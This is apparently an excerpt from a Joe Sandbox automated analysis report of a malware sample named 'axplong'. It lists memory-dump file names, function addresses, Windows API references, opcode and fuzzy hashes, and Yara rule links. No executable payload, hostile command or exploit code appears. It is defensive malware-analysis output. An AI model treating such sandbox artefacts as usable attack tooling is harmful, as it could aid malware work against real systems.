Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 69f301d3fdb6043bacf3b827fc260fa7536526878f3f55f9831659383d01c5bd
Instruction ID: 9d86e227959065e14944386f11eab973a8b736c18bb112ec99cbf2a81de94e75
Opcode Fuzzy Hash: 69f301d3fdb6043bacf3b827fc260fa7536526878f3f55f9831659383d01c5bd
Instruction Fuzzy Hash: 89E0E57121621956AB6126E55D00FFA368BCB423B5F04015DAC6493280CA30DC0195EB

Function 006D1635 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,006D1A25,?,?,00000000,?,006D1A25,00000000,0000000C), ref: 006D1652

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3ba8d1b2617d274cd29c0041e5c4159172de9a00dac972d35c17d4e426718b41
Instruction ID: 9eed9a0af9d0aa0c764d010e0a556154b4447c7910f35a5b2b70b59468c888c1
Opcode Fuzzy Hash: 3ba8d1b2617d274cd29c0041e5c4159172de9a00dac972d35c17d4e426718b41
Instruction Fuzzy Hash: A4D0923214024DBBDF129E84DC06EDE3BAAFB58714F014110BE1866120C772F831AB94

Function 050503D8 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c38f55612dc7be7bbd90d96a91ce7cbe06990708d05ac80b4e69006790263189
Instruction ID: c0cc78ede5500d0ded32d968c12e9674ab0f0c766182d7ac203e692ae5e5c6bd
Opcode Fuzzy Hash: c38f55612dc7be7bbd90d96a91ce7cbe06990708d05ac80b4e69006790263189
Instruction Fuzzy Hash: E4F01DEB14D011EE6152D5457B3CABF63AEF5DA730370C82AFC47C6502D25949895A31

Function 050503E9 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3210ed173a6156833d70126164962a28d7d88ecd0f320c3a80f59f93d6edec7
Instruction ID: 79a31781237c54e96f34da3e160670020d4bc1c962c6ad99cb895d90eb41a41a
Opcode Fuzzy Hash: a3210ed173a6156833d70126164962a28d7d88ecd0f320c3a80f59f93d6edec7
Instruction Fuzzy Hash: 1CF062E7149100EF6142C645BA396BF73AAE6D9730770C82AFC47C7202E2A549499A31

Function 050503C8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 297dfe9e8b845e32157b463a441fecc20330280f075c4c68c554c5583a7630ea
Instruction ID: 79f843ee03d6216ed55b317d7837e5a087fdc509455250abd785a76ddb53777d
Opcode Fuzzy Hash: 297dfe9e8b845e32157b463a441fecc20330280f075c4c68c554c5583a7630ea
Instruction Fuzzy Hash: A5F06DEB14D001EE6252DA46773CABF63AEF1D6730370C826FC87C7502E6594A986A71

Function 050503D1 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012364754f33d91b6094caacac2d34424ecbbb4ce196d36214a1ce25d97f3054
Instruction ID: 114fe1e738a81c4e909a7ab5700e03693879f85d77f03afa965652e24e8f318f
Opcode Fuzzy Hash: 012364754f33d91b6094caacac2d34424ecbbb4ce196d36214a1ce25d97f3054
Instruction Fuzzy Hash: 33F01DE714D011EE6252D545773C6BF67AEE1DA730370C826FC47C6501D25949985A31

Function 05050406 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c3139b24ff650f671afd69b002945f4ed80f64c1a6de4dc3b2ea5511e1062c
Instruction ID: fa31fd8c34178f8fe4ee65829729e68fb56b92acc736a5dfa242fe9a60a514d8
Opcode Fuzzy Hash: a8c3139b24ff650f671afd69b002945f4ed80f64c1a6de4dc3b2ea5511e1062c
Instruction Fuzzy Hash: D1F03AAB14C111AE6242D68576386BFB7AEA5DA730770C82BFC86C7102E25549485A31

Function 0505041D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba35c805b6ff5b20c82ed936bcef2aa9f54f7a295d6ef176cef4723cfcb23333
Instruction ID: 2fa049bc34497828f4c60c425e1fca5c2aff6b0059763db647ada1be601294fa
Opcode Fuzzy Hash: ba35c805b6ff5b20c82ed936bcef2aa9f54f7a295d6ef176cef4723cfcb23333
Instruction Fuzzy Hash: 94F0A0F7049000FF6252C541BA38ABF77AEF5CA730330C86AFC86C7501E6A949489A31

Function 0505048E Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc79f02127a63938cb3ba032d1112490c1d7cb12b077d0437554ea3c08752bdf
Instruction ID: 85c0c02af40ce173927524c034de064e532e10b9d3523e7565e5ebe46b1ef83e
Opcode Fuzzy Hash: dc79f02127a63938cb3ba032d1112490c1d7cb12b077d0437554ea3c08752bdf
Instruction Fuzzy Hash: DCE06FE344C002EE1283D480323E2FF7BC2A0963B1330CC6AECC7C3102E90A8A068A30

Function 05050438 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525223686c9cdbddb868ec722920835f64d9c8c1d480cdb17fe3c4570e4ce24f
Instruction ID: cb6fee7e9d62c58ceab034df87e1b56f0bdd352060150cec6f9c0206b78e8b15
Opcode Fuzzy Hash: 525223686c9cdbddb868ec722920835f64d9c8c1d480cdb17fe3c4570e4ce24f
Instruction Fuzzy Hash: 28E0929704C101ED9252C541763C6BF279AB1DA331370882BFC86C7202E29A41495631

Function 0505046E Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08f1288f63b8eb05bf003f9a4f72bef97df763fae7243a3dcd9177e6f861b658
Instruction ID: bf81c8a3a35a025b005a0109a4b313ab4d25dac0a611bd6c6b79039396508c2a
Opcode Fuzzy Hash: 08f1288f63b8eb05bf003f9a4f72bef97df763fae7243a3dcd9177e6f861b658
Instruction Fuzzy Hash: 1CD02BE6104604EFC021B8416E2C7BF379EB3A43313F08525FC8187440D29A40498770

Function 0505045F Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4720544875.0000000005050000.00000040.00001000.00020000.00000000.sdmp, Offset: 05050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5050000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc2a838659e3c5016612cb35cfbba693c2fdec5da279fe5c4dfae49558e4f5e
Instruction ID: 2463f9a829da94a8b27aa814ba1a392bbc2435e3d463646155f18cd27aa41bb3
Opcode Fuzzy Hash: 9cc2a838659e3c5016612cb35cfbba693c2fdec5da279fe5c4dfae49558e4f5e
Instruction Fuzzy Hash: FDD05EA308E111EE4153E591373E3BF3B9A78A53303B08467EC8387602E20A80599B70

Non-executed Functions

Function 006B0D43 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0E46
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0E92

Part of subcall function 006B258D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 006B2680

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 006B0EFE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0F1A
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0F6E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0F9B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006B0FF1

Strings

(, xrefs: 006B0E52

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: c5b79b979576bbabaac1137e2dc1c80e5081519251e26e6960d04f78461c6197
Instruction ID: 386f360bf4478a968e5798909411c0f9e1fb8a4dc8d0e8958d3bae7a9b49eafe
Opcode Fuzzy Hash: c5b79b979576bbabaac1137e2dc1c80e5081519251e26e6960d04f78461c6197
Instruction Fuzzy Hash: 40B17DB0A00616AFDB28CF58D990BBABBF6FB44300F14815DE906AB355D730ED91CB90

Function 006B1532 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006B2C2C: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 006B2C3F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 006B1544

Part of subcall function 006B2D3F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 006B2D69
Part of subcall function 006B2D3F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 006B2DD8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 006B1676
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006B16D6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006B16E2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006B171D
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006B173E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006B174A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 006B1753
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 006B176B

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 3c420d52c4ba00b8e3f077eccb54ad427c200d549a5b17f3ae8b6366a8b0d3ea
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: E7816EB1E00625AFCB18DF68C590AADBBF6FF49304B5546ADD405AB701DB30ED82CB94

